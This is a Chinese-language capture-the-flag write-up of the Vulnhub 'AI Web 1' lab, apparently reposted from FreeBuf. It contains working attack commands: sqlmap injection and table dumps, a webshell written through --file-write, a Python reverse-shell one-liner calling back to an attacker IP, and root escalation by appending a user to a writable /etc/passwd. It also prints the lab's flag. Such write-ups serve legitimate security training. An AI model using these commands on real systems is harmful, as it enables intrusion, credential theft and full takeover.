Vulnhub靶场——AI Web1练习
2024-5-26 22:28:24 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

信息收集

利用arp-scan+nmap进行信息收集,确认目标机器的ip为192.168.78.145,开放端口有80
image-20240526175003590.png

外网打点

访问80端口,发现没有功能点,只有一个页面。
image-20240526175531850.png
用dirsearch扫描一下目录,发现了robots.txt,访问一下发现了两个目录分别为/m3diNf0/和/se3reTdir777/uploads/
image-20240526175628476.png
image-20240526175719550.png
分别对这些目录进行扫描,在/m3diNf0/目录下发现了一个info.php页面
image-20240526194958698.png
发现了网站的绝对路径: /home/www/html/web1x443290o2sdf92213/m3diNf0/info.php
image-20240526195148397.png
依次进行访问,发现/se3reTdir777/是可以成功访问的。
image-20240526175820182.png
输入1提交后页面返回信息。
image-20240526180008500.png
输入1'后页面报错,根据报错信息判断应该是个字符型且闭合方式为双引号闭合。
image-20240526180025508.png
输入1"%23页面成功返回没有报错,印证猜测。

漏洞利用

由于是post型的,这里直接进行抓包,将请求包保存为文件,便于后续用sqlmap
image-20240526180815212.png

#sqlmap检测
sqlmap -r 1.txt

image-20240526182032430.png

#爆数据库
sqlmap -r 1.txt --dbs

image-20240526182140312.png

#aiweb1数据库的表
sqlmap -r 1.txt -D aiweb1 --tables

image-20240526182223360.png

#爆systemUser表中的内容
sqlmap -r 1.txt -D aiweb1 -T  systemUser --dump

image-20240526182334659.png
将三个账号对应的密码用base64进行解密得到密码
t00r:FakeUserPassw0rd
aiweb1pwn:MyEvilPass_f908sdaf9_sadfasf0sa
u3er:N0tThis0neAls0

由于目标没有开启22端口,这几个账号目前好像没什么用处,结合之前进行目录扫描时获得的信息,猜测/se3reTdir777/uploads/可以进行文件上传,可以尝试下sqlmap的--os-shell。
之前在phpinfo页面找到网站绝对路径
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
这里路径必须要为/se3reTdir777/index.php,如果为/se3reTdir777则不能成功获取shell

sqlmap -u  "http://192.168.78.145/se3reTdir777/index.php" -data "uid=1&Operation=Submit" --level=3 --os-shell

image-20240526201218592.png
利用sqlmap上传木马文件

sqlmap -u "http://192.168.78.145/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --file-write hanhan.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hanhan.php

# --file-write 要写入的文件
#--file-dest	写入后保存的位置

image-20240526202043948.png
冰蝎进行连接,连接地址为http://192.168.78.145/se3reTdir777/uploads/hanhan.php
image-20240526202318182.png

权限提升

发现有/etc/passwd目录的可写权限
image-20240526203210018.png
这里先尝试用su命令进行用户切换,提示必须在终端运行
image-20240526214612165.png
利用python反弹shell(这里一开始用蚁剑的命令终端执行命令单并没有反弹shell成功,后来切换为冰蝎的命令终端执行命令成功反弹shell)

#攻击机执行
nc -lvvp 9999
#靶机执行
export RHOST="192.168.78.128";export RPORT=9999;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

成功反弹shell,提升为交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20240526214921282.png
生成要添加用户的明文密码

perl -le 'print crypt("123456","123456")'

写入密码

echo hanh:12tir.zIbWQ3c:0:0:root:/root:/bin/bash >>/etc/passwd

成功写入新用户
image-20240526220544050.png
利用su命令切换至型用户,成功提权
image-20240526220643100.png
成功读取flag
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}
image-20240526220730446.png


文章来源: https://www.freebuf.com/articles/web/401898.html
如有侵权请联系:admin#unsafe.sh